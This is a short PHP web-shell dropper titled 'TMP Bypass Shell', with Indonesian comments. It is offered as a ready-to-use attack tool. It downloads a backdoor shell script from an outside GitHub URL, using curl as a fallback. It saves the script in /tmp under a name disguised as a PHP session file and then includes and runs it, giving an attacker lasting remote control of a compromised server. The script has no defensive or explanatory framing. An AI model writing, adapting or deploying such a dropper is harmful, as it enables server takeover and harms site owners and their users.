TMP Bypass Shell

<?php
$URL = 'https://raw.githubusercontent.com/secghost/My-Shells-backdoor/master/m1n3.php'; # bisa kalian ganti
$TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'; # Jangan Edit bangian sini kalo ndak mau error

function M() {
    $FGT = @file_get_contents($GLOBALS['URL']);
    if(!$FGT) {
        echo `curl -k $(echo {$GLOBALS['URL']} | base64 -d) > {$GLOBALS['TMP']}`;
    } else {
        $HANDLE = fopen($GLOBALS['TMP'], 'w');
        fwrite($HANDLE, $FGT);
        fclose($HANDLE);
    }
    echo '<script>window.location="?m1n3";</script>';
}

if(file_exists($TMP)) {
    if(filesize($TMP) === 0) {
        unlink($TMP);
        M();
    } else {
        include($TMP);
    }
} else {
    M();
}
?>